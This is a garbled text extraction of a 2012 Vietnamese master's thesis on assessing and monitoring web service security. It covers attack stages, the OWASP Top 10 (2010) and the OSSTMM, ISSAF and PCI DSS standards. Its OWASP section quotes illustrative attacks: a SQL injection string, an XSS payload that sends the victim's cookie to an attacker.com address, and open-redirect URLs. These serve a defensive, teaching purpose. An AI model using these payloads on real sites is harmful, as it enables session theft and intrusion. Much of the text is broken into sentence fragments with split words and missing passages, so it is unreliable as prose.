TỔNG QUAN 1.1.1 Thông tin an toàn b ảo mật hai kĩ thuật tấn công được các hacker sử dụng phổ biến là cross-site scripting và sql injection Hình 1: Nguồn Web Hacking Incident Database
Trang 1BỘ GIÁO DỤC VÀ ĐÀO TẠO TRƯỜNG ĐẠI HỌC BÁCH KHOA HÀ NỘI
-
Ngô Vĩnh Quý
PHÂN TÍCH ĐÁNH GIÁ VÀ GIÁM SÁT
ĐỘ AN TOÀN CỦA CÁC DỊCH VỤ WEB
Chuyên ngành : Kỹ thuật Máy tính và Truyền thông
LUẬN VĂN THẠC SĨ KHOA HỌC
KỸ THUẬT MÁY TÍNH VÀ TRUYỀN THÔNG
Hà Nội – Năm 2012
NGƯỜI HƯỚNG DẪN KHOA HỌC
TS VŨ QUỐC KHÁNH
Trang 21
MỤC LỤC
L ỜI CAM ĐOAN 3
L ỜI CẢM ƠN 4
THU ẬT NGỮ, TỪ VIẾT TẮT 5
HÌNH V Ẽ 6
PH ẦN MỞ ĐẦU 7
N ỘI DUNG 9
CHƯƠNG 1: TỔNG QUAN VỀ AN TOÀN BẢO MẬT ỨNG DỤNG WEB 9 1.1 T ỔNG QUAN 9
1.1.1 Thông tin an toàn bảo mật 9
1.1.2 L ịch sử phát triển ứng dụng Web 9
1.1.3 Các mô hình ứng dụng Web phổ biến 10
1.2 CÁC THU ẬT NGỮ 13
1.2.1 Thu ật ngữ Cookies 13
1.2.2 Thu ật ngữ Session 14
1.2.3 Giao thức HTTP/HTTPS 14
1.2.4 Khái niệm URL 15
1.2.5 Cơ chế Get/Post 16
1.3 CÁC L Ỗ HỔNG THƯỜNG GẶP 17
1.3.1 Các bước tấn công một Website 17
1.3.2 10 l ỗ hổng bảo mật Web nguy hiểm nhất năm 2010 20
CH ƯƠNG 2: HIỆN TRẠNG PHÂN TÍCH ĐÁNH GIÁ VÀ GIÁM SÁT AN TOÀN THÔNG TIN 36
2.1 CÁC PH ƯƠNG PHÁP PHÂN TÍCH ĐÁNH GIÁ 36
2.1.1 Lý do c ần phân tích đánh giá an toàn thông tin 36
2.1.2 Các chuẩn đánh giá bảo mật thông dụng 36
2.1.2.1 Chuẩn đánh giá Mạng và Hệ thống - OSSTMM (Open Source Security Testing Methodology Manual) 36
2.1.2.2 Chu ẩn đánh giá hệ thống thông tin bảo mật - ISSAF (Information Systems Security Assessment Framework) 38
Trang 32
2.1.2.3 Chuẩn bảo mật dữ liệu ngân hàng - PCI DSS (Payment Card
Industry Data Security Standard) 39
2.1.2.4 Chuẩn xác minh tính bảo mật của Ứng dụng – OWASP ASVS (OWASP Application Security Verification Standard Project) 40
2.1.3 Phương pháp đánh giá của OWASP 42
2.1.3.1 Đánh giá theo tiêu chuẩn an toàn trong việc xây dựng OWASP ASVS 42
2.1.3.2 Đánh giá rủi ro 52
2.2 CÁC PH ƯƠNG PHÁP GIÁM SÁT 60
2.2.1 Ho ạt động giám sát 60
2.2.2 Các nguy c ơ và mục đích giám sát 60
2.2.3 Các ph ương pháp giám sát 61
CH ƯƠNG 3: ĐỀ XUẤT QUY TRÌNH PHÂN TÍCH, ĐÁNH GIÁ ỨNG D ỤNG WEB 65
3.1 CÁC K Ỹ THUÂT KIỂM THỬ PHỔ BIẾN 65
3.2 PH ƯƠNG PHÁP ĐÁNH GIÁ LỰA CHỌN 65
3.3 CÁC GIAI ĐOẠN CỦA MỘT HỆ THỐNG WEB 66
3.4 QUY TRÌNH ĐỀ XUẤT ĐÁNH GIÁ 66
3.5 K Ỹ THUẬT KIỂM THỬ THÂM NHẬP (Owasp Testing Guide V3) 70
CH ƯƠNG 4: ĐỀ XUẤT QUY TRÌNH GIÁM SÁT ỨNG DỤNG WEB 77
4.1 CÁC CÔNG VI ỆC GIÁM SÁT MỘT HỆ THỐNG 77
4 2 QUY TRÌNH GIÁM SÁT ĐỀ XUẤT 77
CH ƯƠNG 5: THỬ NGHIỆM 82
CH ƯƠNG 6: KẾT LUẬN 96
6.1 CÁC V ẤN ĐỀ ĐẠT ĐƯỢC 96
6.2 H ẠN CHẾ 96
6.3 ĐỀ XUẤT ÁP DỤNG 96
6.4 H ƯỚNG PHÁT TRIỂN 97
TÀI LI ỆU THAM KHẢO 98
Trang 43
L ỜI CAM ĐOAN
độ an toàn các dịch vụ Web” là công trình nghiên cứu của cá nhân tôi Các số liệu
NGÔ VĨNH QUÝ
H ọc viên cao học khóa 2009 Chuyên ngành: M ạng máy tính và Truyền thông Trường Đại học Bách Khoa Hà Nội
Trang 54
LỜI CẢM ƠN
Trang 65
THUẬT NGỮ, TỪ VIẾT TẮT
Client: Người dùng cuối
File: Tập tin lưu dữ liệu
HTML: Hypertext Mark Language
Hacker: Kẻ tấn công
Owasp: Open web application security project
Checklist : Danh sách các điểm kiểm tra bảo mật
Trang 76
HÌNH VẼ
Hình 1: Ngu ồn Web Hacking Incident Database for 2011 (WHID) 9
Hình 2: Mô hình l ập trình Web cổ điển 11
Hình 3: Mô hình l ập trình Web MVC 12
Hình 4: Mô hình 3 Tiers 13
Hình 5: Mô t ả các bước tấn công một Website 17
Hình 6: Các n ội dung đánh giá bảo của OSSTMM 37
Hình 7: Các m ức độ bảo mật của OWASP ASVS 41
Hình 8: Owasp ASVS c ấp độ 1, 1A và 1B 43
Hình 9: Ví d ụ về kiến trúc bảo mật OWASP ASVS mức độ 1 44
Hình 10: Owasp ASVS c ấp độ 2, 2A và 2B 44
Hình 11: Ví d ụ về kiến trúc bảo mật OWASP ASVS mức độ 2 45
Hình 12: Owasp ASVS c ấp độ 3 46
Hình 13: Ví d ụ về kiến trúc bảo mật OWASP ASVS mức độ 3 47
Hình 14: Owasp ASVS c ấp độ 4 47
Hình 15: Ví d ụ về kiến trúc bảo mật OWASP ASVS mức độ 4 48
Hình 16: N ội dung báo của chuẩn OWASP ASVS 51
Hình 17: Quy trình đánh giá an toàn bảo mật dịch vụ Web 67
Hình 18: Quy trình giám sát an toàn b ảo mật dịch vụ Web 78
Hình 19: Màn hình s ử dụng công cụ Netcat 83
Hình 20: Màn hình s ử dụng công cụ Nmap 84
Hình 21: S ơ đồ Website 85
Hình 22: Màn hình s ử dụng trình duyệt Firefox 86
Hình 23: S ử dụng Proxy Webscarab 87
Hình 24: Đoan code của chức năng kiểm tra SQL Injection 89
Hình 25: L ỗi SQL Injection trong chức năng tìm kiếm lớp học 90
Hình 26: L ỗi XSS trong chức năng xem danh sách môn học của sinh viên 91
Hình 27: L ỗi Path traversal trong chức năng Download 92
Hình 28: Màn hình mô t ả thao tác Upshell 93
Hình 29: L ỗi Path traversal trong chức năng Upload 93
Trang 87
PHẦN MỞ ĐẦU
1 Lý do ch ọn đề tài
2 M ục đích nghiên cứu
và giám sát độ an toàn của các dịch vụ Web Đối tượng áp dụng là các kỹ sư công
3 N ội dung nghiên cứu
Web
phân tích đánh giá và phương pháp, quy trình giám sát độ an toàn dịch vụ Web
4 Phương pháp nghiên cứu
Phương pháp nghiên cứu kết hợp tìm hiểu lý thuyết và thực hành để tìm hiểu
5 K ết quả đạt được
Trang 98
K ết quả: theo yêu cầu đặt ra ban đầu thì cho đến thời điểm hiện tại, luận văn
cơ bản đã đạt được các nội dung yêu cầu
H ạn chế: bên cạnh đó luận văn cũng còn một số điểm hạn chê
Đề xuất: vấn đề an toàn bảo mật thật sự là một vấn đề rộng và thường xuyên
đúng mức Trong quá trình tìm hiểu đề tài với kết quả thu được, cá nhân tôi có đề
Hướng phát triển: bản thân cá nhân tôi xin đề xuất hướng phát triển luận
văn:
thuật
Trang 109
NỘI DUNG CHƯƠNG 1: TỔNG QUAN VỀ AN TOÀN BẢO MẬT ỨNG DỤNG WEB 1.1 TỔNG QUAN
1.1.1 Thông tin an toàn b ảo mật
hai kĩ thuật tấn công được các hacker sử dụng phổ biến là cross-site scripting và sql
injection
Hình 1: Nguồn Web Hacking Incident Database for 2011 (WHID)
1.1.2 L ịch sử phát triển ứng dụng Web
a L ịch sử phát triển Web
“World Wide Web ” được Tim giới thiệu tại newsgroup alt.hypertext Ông cho
văn bản” (hypertext) cùng với internet
Trang 1110
b Định nghĩa Website và cách thức hoạt động
- Website là tập hợp một số trang Web (Web Page) được xuất bản trên mạng Internet, đây là nơi giới thiệu những thông tin, hình ảnh về doanh nghiệp và sản
đâu, bất cứ lúc nào
Cần phải có tên miền (Domain)
Nội dung các trang thông tin (Web page)
Website động (Dynamic Website) là Website có cơ sở dữ liệu, được cung
như PHP, Asp.net, JSP, Perl, , quản trị Cơ sở dữ liệu bằng SQL, MySQL, Oracle
Website tĩnh do lập trình bằng ngôn ngữ HTML, không có cơ sở dữ liệu và
tĩnh là ít thay đổi nội dung, sự thay đổi nội dung này thường liên quan đến sự thay đổi các văn bản đi kèm thể hiện nội dung trên đó
1.1.3 Các mô hình ứng dụng Web phổ biến
a Mô hình c ổ điển
Ngày xưa lập trình viên lập trình một trang jsp, php hay asp, người lập trình thường đan xen các mã HTML cùng với các mã jsp, php, hay asp Do vậy, có những khó khăn sau có thể gặp phải:
- Người thiết kế giao diện cũng cần phải biết các ngôn ngữ lập trình, hoặc
- Việc bảo trì chúng thường rất khó khăn, vì một phần các mã chương trình
- Khi có lỗi xảy ra, việc tìm ra lỗi và định vị lỗi cũng là một vấn đề khó khăn
Trang 1211
Việc lập trình như trên, người ta gọi là mô hình lập trình 1, hay là mô hình lập trình cổ điển
b Mô hình MVC
Mô hình lập trình Web cổ điển có nhiều hạn chế vì vậy người ta đưa ra mô hình lập trình MVC (Model-View-Controllor) Tức là: Tương ứng với một trang JSP ngày xưa, bây giờ người ta tách nó ra làm ba thành phần: Mô hình – Khung
liệu, các kết quả trả về từ Mô hình…
trang JSP này thì sẽ tương ứng với lớp java nào để xử lý nó và ngược lại, kết quả sẽ trả về trang jsp nào
Như vậy, chúng ta có thể tách biệt được các mã java ra khỏi mã HTML Do vậy, nó đã giải quyết được các khó khăn đã nêu ra trong Mô hình 1 Người thiết kế giao diện và người lập trình java có thể mang tính chất độc lập tương đối Việc debug hay bảo trì sẽ dễ dàng hơn, việc thay đổi các theme của trang Web cũng dễ dàng hơn
Trang 1312
c Mô hình 3 Tiers
việc lưu trữ dữ liệu được phát triển như những module độc lập, và hầu hết là được duy trì trên các nền tảng độc lập, và mô hình 3 tầng (3-tiers) được coi là một kiến trúc phần mềm và là một mẫu thiết kế
biệt, bao gồm:
mềm
trích xuất, cập nhật… dữ liệu
nghĩa là có thể dùng nó để xây dựng nên bộ khung tổng thể của ứng dụng Tuy nhiên cần chú ý những ưu và nhược điểm sau đây để áp dụng nó một cách đúng đắn
lớn, người quản trị có thể dễ dàng thêm các máy chủ vào nhóm, hoặc lấy bớt ra trong trường hợp ngược lại
Trang 1413
giữa các tiến trình khác nhau (IPC), dữ liệu cần phải được đóng gói -> truyền đi ->
mở gói trước khi có thể dùng được Việc phát triển ứng dụng phức tạp hơn
thuộc vào nền tảng, có thể chọn một trong các công nghệ như EJB (J2EE), COM+
giữa (dùng Webservice) Tuy nhiên, EJB và COM+ là hai tùy chọn tốt nhất vì nó có nhiều công nghệ hỗ trợ như Object Pooling, Authentication và Authority, Resource management, Remote Object Access, Transaction…
Hình 4: Mô hình 3 Tiers
1.2 CÁC THUẬT NGỮ
1.2.1 Thu ật ngữ Cookies
người sử dụng Nó được trình duyệt gởi ngược lên lại server mỗi khi browser tải 1
thuộc vào Website trên server Mỗi Website có thể lưu trữ những thông tin khác nhau trong Cookie
hủy Cookie
Trang 1514
1.2.2 Thu ật ngữ Session
khoảng thời gian người sử dụng giao tiếp với 1 ứng dụng Một Session được bắt đầu khi người sử dụng truy cập vào ứng dụng lần đầu tiên, và kết thúc khi người sử dụng thoát khỏi ứng dụng Mỗi Session sẽ có được cấp một định danh (ID) khác nhau và nội dung được lưu trong thư mục thiết lập trong file php.ini (tham số Session.save_path)
đáp ứng các lệnh rất đa dạng Chẳng hạn, khi gõ một địa chỉ Web URL vào trình duyệt Web, một lệnh HTTP sẽ được gửi tới Web server để ra lệnh và hướng dẫn nó tìm đúng trang Web được yêu cầu và kéo về mở trên trình duyệt Web Nói nôm na hơn, HTTP là giao thức truyền tải các file từ một Web server vào một trình duyệt
là một giao thức ứng dụng của bộ giao thức TCP/IP (các giao thức nền tảng cho Internet)
Khái niệm HTTPS
HTTPS( Secure HTTP), là một sự kết hợp giữa giao thức HTTP và giao thức bảo mật SSL hay TLS cho phép trao đổi thông tin một cách bảo mật trên Internet Các kết nối HTTPS thường được sử dụng cho các giao dịch thanh toán trên World
HTTPS được sử dụng trong nhiều tình huống, chẳng hạn như các trang đăng nhập cho ngân hàng, các hình thức, ích đăng nhập công ty, và các ứng dụng khác, trong
Trang 1615
đó dữ liệu cần phải được an toàn.HTTPS không nên nhầm lẫn với Secure HTTP HTTP) quy định trong RFC 2660
(S- Sự khác nhau giữa HTTP và HTTPS
Theo 2 định nghĩa ở trên từ đó ta có thể thấy nếu trang Web có địa chỉ bắt
đầu bằng http:// thì nó có nghĩa rằng trang Web không an toàn Nói cách khác, một
người nào đó có thể nghe lén những gì trao đổi với trang Web và có thể lấy những
dữ kiện gửi đi từ máy của đến trang Web Nhưng nếu địa chỉ của trang Web bắt
đầu bằng chữ https:// thì điều này có nghĩa là đang liên lạc an toàn với server của
1.2.4 Khái ni ệm URL
Khái niệm URL
URL Là chữ viết tắt của "Uniform Resource Locator", dùng để chỉ tài nguyên trên Internet Sức mạnh của Web là khả năng tạo ra những liên kết siêu văn bản đến các thông tin liên quan Những thông tin này có thì là những trang Web khác, những hình ảnh, âm thanh Những liên kết này thường được biểu diễn bằng những chữ màu xanh có gạch dưới được gọi là anchor Các URL có thể được truy xuất thông qua một trình duyệt (Browser) như IE, Firefox, Chrome hay Netscape
Các thành phần của URL
)
Trang 17 S ự khác nhau giữa Get và Post
đây là lý do khiến nó không bảo mật so với POST Nó còn bị giới hạn số ký tự bởi URL của Web browsers
Trang 1817
client, còn phương thức GET ứng với cùng 1 yêu cầu đó Web browser sẽ xem trong cached có kết quả tương ứng với yêu cầu đó ko và trả về ngay không cần phải thực thi các yêu cầu đó ở phía server
phương thức POST, còn dữ liệu ít thay đổi chúng ta dùng phương thức GET để truy xuất và xử lý nhanh hơn
1.3 CÁC LỖ HỔNG THƯỜNG GẶP
1.3.1 Các bước tấn công một Website
Để tấn công một Website các Hacker thường chia ra làm 3 giai đoạn và 8 bước thực hiện, bao gồm:
a Giai đoạn Thu thập thông tin
M ục đích: Thu thập toàn bộ thông tin về mục tiêu tấn công bao gồm hạ tầng,
Website
Các bước thực hiện: Bao gồm 3 bước chính là Thu thập thông tin, Quét
thăm dò mạng và Liệt kê các lỗ hổng
Trang 1918
Bước 1: Thu thập thông tin (FootPrinting)
Networking Prototcols…vv
- Các công cụ hỗ trợ như: Nslookup, SmartWhois, UseNet, Search Engine
…vv
Bước 2: Quét thăm dò (Scanning)
- Phần lớn thông tin quan trọng từ server có được từ bước này Xác định hệ điều hành, xác định hệ thống có đang chạy không, tìm hiểu các dịch vụ đang chạy hay đang lắng nghe, tìm hiểu các lỗ hổng, kiểm tra các cổng, xác định các dịch vụ
- Các công cụ hỗ trợ: Retina, GFI, Nmap, Nessus, Fping, SuperScan, …vv
Bước 3: Liệt kê lỗ hổng (Enumeration)
- Công cụ hỗ trợ: DumpSec, Null Session, DumpACL, Sid2user, OnSite Admin Showmount, Netcat, SuperScan …vv
b Giai đoạn Phân tích và tấn công
M ục đích: Sau khi đã có một số thông tin cơ bản của mục tiêu trong giai
đoạn 1 các Hacker phân tích, phân loại lỗ hổng và lên phương án tấn công hệ thống
Các bước thực hiện: Bao gồm 3 bước là Xâm nhập, Leo thang đặc quyền và
Bước 4: Xâm nhập (Gaining Access)
- Hacker sẽ tìm cách truy cập vào mạng bằng những thông tin có được ở ba bước trên Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm,
password, đột nhập qua các cổng mở…vv
- Công cụ hỗ trợ: Tcpdump, NAT, Tftp, Remote Buffer Overflows, force password attacks…vv
Trang 20Brute-19
Bước 5: Leo thang đặc quyền (Escalating Priviledge)
đó, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống Hacker sẽ tìm cách crack
không được cho phép truy cập Khi Hacker đạt được mức độ quyền truy cập đủ cao,
- Công cụ hỗ trợ: John, Riper, L0phtcrack, Ic_mesages, Getadmin, Sechole,
…vv
Bước 6: Khai thác (Pilfering)
- Thông tin lấy từ bước trên đủ để Hacker định vị server và điều khiển server
- Công cụ hỗ trợ: Configuration files, Registry, Telnet, Ftp, Rhost …vv
c Giai đoạn Dừng và xóa dấu vết
M ục đích: Sau khi đã chiếm được quyền kiểm soát hệ thống, khai thác các lỗ
và đồng thời cũng tìm cách xóa các dấu vết để không bị phát hiện
Các bước thực hiện: gồm 2 bước
Bước 7: Tạo cửa hậu (Creating Backdoors)
Trang 2120
- Công cụ hỗ trợ: Zap, Clear logs, Zap, Event log GUI, rootkits vv
K ết luận
Do đó, việc bảo mật cho một hệ thống cần đòi hỏi sự kết hợp không chỉ của
1.3.2 10 l ỗ hổng bảo mật Web nguy hiểm nhất năm 2010
A1- L ỗi nhúng mã SQL Injection
Trang 2221
Để ngăn chặn cần phân biệt được mã độc và câu lệnh truy vấn:
String query=”select * from accounts where custID=’” + request.getParameter(“id”) + ”’”
http://example.com/app/accountView?id=’ or ’1’=’1
A2-Th ực thi mã script độc – XSS
Trang 2322
khác
nó được xuất ra tại các trang Web Mã hóa dữ liệu đầu ra có thể đảm bảo những dữ
Để ngăn chặn XSS đòi hỏi phân biệt được giữa mã độc và nội dung Web
HTML dưới đây mà không xác thực hay loại bỏ ký tự đặc biệt
(String) page +=”<input name =’creditcard’ type=’TEXT’ value=’” + request.getParameter(“CC”) + ”’>”;
‘><script>document.location=’http://www.attacker.com/cgi-bin/Cookie.cgi?foo=’+document.Cookie</script>’’’
Trang 2423
A3- V ượt qua cơ chế chứng thực và quản lý phiên làm việc
trong các chương trình quản lý tài khoản hay không?
Có một giao diện đơn giản cho người phát triển ứng dụng
Trang 2524
http://example.com/sale/saleitems;jSessionid=LGFJJGAHJHJHDFJHJHDFJHJHFD?dest=Hawaii
Người dùng sử dụng máy tính công cộng để truy cập vào trang Web Thay vì chọn
“đăng xuất” anh ta chỉ đóng trình duyệt và đi Một người khác sử dụng cùng trình
được những tài khoản đó
A4 – Đối tượng tham chiếu thiếu an toàn
toàn không
được điều này, cần xem xét:
Trang 2625
trong hai phương pháp trên không được thiết kế cẩn thận Chạy kiểm tra cũng có thể
động thường không thể tìm ra lỗi này vì rất khó để xác định cái nào cần bảo vệ và như thế nào là an toàn/thiếu an toàn
được đánh số từ 1 đến 6 để xác định lựa chọn nào người dùng muốn truy cập Ứng
ESAPI)
String query=”select * from accounts wherer account_name=?”;
PreparedStatement pstmt=connection.prepareStatement(query,…);
Pstmt.setString(1,request.getparameter(“acct”));
ResultSet results=pstmt.executeQuery();
http://example.com/app/accountInfo?acct=notmyaccount
A5– Gi ả mạo yêu cầu CSRF
Trang 2726
đến các ứng dụng Web.Trong trường hợp phiên làm việc của người dùng chưa hết
dụng CSRF còn dc gọi là "Session riding", "XSRF"
người sử dụng Nếu không có những giá trị như vậy kẻ tấn công có thể giả mạo bất
trường hợp khác nhau thể hiện sự nguy hiểm của CSRF
Ngăn chặn CSRF yêu cầu những giá trị không đoán được trong thân của
cầu:
Trang 2827
CSRF Guard có thể giúp tự động thêm vào những giá trị như vậy trong ứng dụng Java EE, NET hay PHP
mà người phát triển có thể sử dụng để bảo vệ giao dịch
A6– Sai sót trong c ấu hình an ninh
nghĩa, thực hiện và bảo trì bởi vì rất nhiều thứ không được triển khai với thiết lập an
được sử dụng bởi ứng dụng
Để đảm bảo hệ thống giảm tối đa lỗi Sai sót trong cấu hình an ninh, nên trả
Trang 2928
môi trường khác nhanh chóng và dễ dàng, nên được thiết lập giống nhau, nên được
cũng bao gồm luôn những thư viện chương trình thường bị bỏ qua
vá được phát hành nhưng đã bỏ qua Kẻ tấn công có thể lợi dụng lỗi đó bất cứ lúc
đặt và không được gỡ bỏ Tài khoản mặc định chưa được thay đổi Kẻ tấn công phát
Trang 3029
stack, điều này có thể để lộ những lỗ hổng bảo mật Kẻ tấn công rất thích những thông tin được thêm vào trong những thông điệp báo lỗi như vậy
A7- Lưu mật mã không an toàn
Điều đầu tiên ta phải xác định thông tin nào là nhạy cảm đến mức cần phải
nên được mã hóa Đối với tất cả dữ liệu như vậy cần được đảm bảo:
Tham khảo OWASP ASVS requirements on cryptography V7
Để đạt được mục đích an toàn cho tất cả các dữ liệu quan trọng cần được mã
lưu này phải được quản lý và sao lưu riêng biệt
Trang 3130
có độ phức tạp nhất định
trái phép
Web bên ngoài
A8- Sai sót trong h ạn chế truy cập
ẩn này
không
cho công khai hay riêng tư Nếu là một trang cá nhân:
Trang 3231
được? Nếu không, có cần một xác minh để đảm bảo người dùng có quyền mới được
xác minh để truy cập trang Xác minh chúng được cấu hình đúng cho mỗi trang
Ngăn chặn truy cập trái phép đòi hỏi việc chọn lựa một cách cẩn thận để yêu
nào được sử dụng chúng nên tuân theo các chỉ dẫn sau:
năng, để giảm thiểu các nỗ lực cần thiết để duy trì các quy định này
vào trong quy định
định, yêu cầu xác minh rõ ràng cho từng người sử dụng vai trò của người truy cập
điều kiện đang ở trạng thái thích hợp để cho phép truy cập
đều yêu cầu chứng thực Quyền quản trị cũng phải được cung cấp để truy cập vào trang “admin_getappInfo”:
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
thì đó gọi là truy cập trái phép đã được cho phép Nếu một người sử dụng được
Trang 3332
“admin_getappInfo”, đây là một lỗ hổng cho các kẻ tấn công truy cập vào các trang
được phát hiện ra khi xuất hiện các đường liên kết và nút bấm mà thông thường không được hiển thị cho người sử dụng bình thường, đó là khi ứng dụng đã thất bại
A9 – Thi ếu bảo vệ lớp vận chuyển
không
Điều này bảo vệ tất cả dữ liệu và mã của phiên làm việc đã được trao đổi Không
đó Điều này bao gồm việc các chứng chỉ đó được ban hành bởi một công ty phát
hưởng đến thiết kế Web Dễ dàng nhất để yêu cầu SSL cho toàn bộ trang Web Vì
Trang 3433
đến các trang này nên được chuyển hướng đến các trang SSL
khác
A10 – Chuy ển hướng và chuyển tiếp thiếu thẩm tra
không được kiểm tra một cách cẩn thận, kẻ tấn công có thể lợi dụng để chuyển nạn nhân đến các trang Web lừa đảo hay phần mềm độc hại, hoặc chuyển tiếp để truy
không
Đối với mỗi lần sử dụng, xác định nếu các URL mục tiêu được chứa trong giá trị
Trang 3534
hướng (http mã phản hồi 300-307, điển hình là 302) Nhìn vào các thông số được
điểm đến Điều này thường có thể thực hiện được
Ứng dụng có thể sử dụng ESAPI để ghi đè lên method sendReDirect() để đảm bảo tất cả các chuyển hướng các điểm đến được an toàn
Tránh sai sót như vậy là cực kỳ quan trọng vì chúng là một mục tiêu ưa thích
d Ví d ụ tình huống tấn công
đến một trang Web độc hại để thực hiện lừa đảo và thực hiện phần mềm độc hại
http://www.example.com/redirect.jsp?url=evil.com
Trang 3635
công Trong trường hợp này, kẻ tấn công tạo ra một URL sẽ vượt qua truy cập của ứng dụng và sau đó chuyển tiếp kẻ tấn công vào những chức năng quản trị bình thường không thể truy cập được
http://www.example.com/boring.jsp?fwd=admin.jsp
Trang 3736
CHƯƠNG 2: HIỆN TRẠNG PHÂN TÍCH ĐÁNH GIÁ VÀ GIÁM SÁT AN TOÀN THÔNG TIN
2.1 CÁC PHƯƠNG PHÁP PHÂN TÍCH ĐÁNH GIÁ
2.1.1 Lý do c ần phân tích đánh giá an toàn thông tin
ngày càng gia tăng cả về chất và lượng, đòi hỏi các hệ thống phải liên tục đổi mới, cập nhật
có nhiều thay đổi, phát sinh nhiều vấn đề mới, xuất hiện những nguy cơ mới, cần phải tái cấu trúc, nâng cấp để đáp ứng như cầu thực tế
trước khi nguy cơ trở thành hiện thực
động liên tục
2.1.2 Các chu ẩn đánh giá bảo mật thông dụng
Testing Methodology Manual)
hệ thống đang hoạt động của doanh nghiệp Từ phiên bản 3.0, OSSTMM đưa ra phương pháp kiểm định cho hầu hết các thành tố trong hệ thống như: Con người,
Hạ tầng vật lý, Mạng không dây, Truyền thông và các Mạng sử dụng truyền dữ liệu
Trang 3837
thống vận hành như Con người, thiết bị Mạng, Truyền thông, Mạng không dây, Mạng truyền dữ liệu luôn phải đối mặt với những cuộc tấn công từ phía trong cũng như từ phía ngoài Nếu khai thác được các lỗ hổng an ninh từ các thành tố này, tin tặc có thể dễ dàng chiếm quyền điều khiển hệ thống và gây thiệt hại cho doanh nghiệp, tổ chức Việc áp dụng ký thuật kiểm tra an ninh theo tiêu chuẩn OSSTMM cho phép chủ động ngăn chặn từ xa các nguy cơ, đồng thời đưa ra các phương án giúp các tổ chức, doanh nghiệp bảo vệ các thành tố của hệ thống
tính toán sai và cung cấp chính xác thước đo cho bảo mật an ninh, cụ thể:
nghĩa giai đoạn (namely definition phase), giai đoạn thông tin (information phase),
test phase)
Trang 3938
control)
Security Assessment Framework)
trung vào hai lĩnh vực thử nghiệm bảo mật (security testing), kỹ thuật và quản lý (technical and menagerial)
bảo mật đánh giá đầy đủ Do đó kiểm toán viên đòi hỏi nhiều thiết lập hơn như các tiêu chuẩn cần thiết gồm đánh giá các kế hoạch, bảo quản
các lỗ hổng nghiêm trọng mà hacker có thể khai thác được
sự khác nhau giữa các công nghệ và các tiến trình Đồng thời cũng có thể được liên kết với OSSTMM hoặc những phương pháp thử nghiệm tương tự khác
thử nghiệm và một ít lỗi khi so sánh với các phương pháp thử nghiệm khác là điều không tránh khỏi
Trang 4039
đó nâng cao được nhận thức bảo mật
Data Security Standard)
(Security Standards Council) dành cho thẻ thanh toán, bao gồm các thành viên ban đầu như: Visa, MasterCard, American Express (AMEX), Discover Financial Services, JCB International Mục đích của PCI DSS bảo đảm an toàn cho dữ liệu thẻ khi được xử lý và lưu trữ tại các ngân hàng hoặc doanh nghiệp thanh toán PCI DSS giúp đưa ra những chuẩn mực về bảo mật thông tin thẻ và được áp dụng trên toàn cầu
ninh, chính sách, quy trình, cấu trúc mạng, hệ thống phần mềm và một số yếu tố khác Tập hợp các chuẩn mực này định hướng cho các ngân hàng hoặc doanh nghiệp về thanh toán đảm bảo an ninh cho dữ liệu của thẻ thanh toán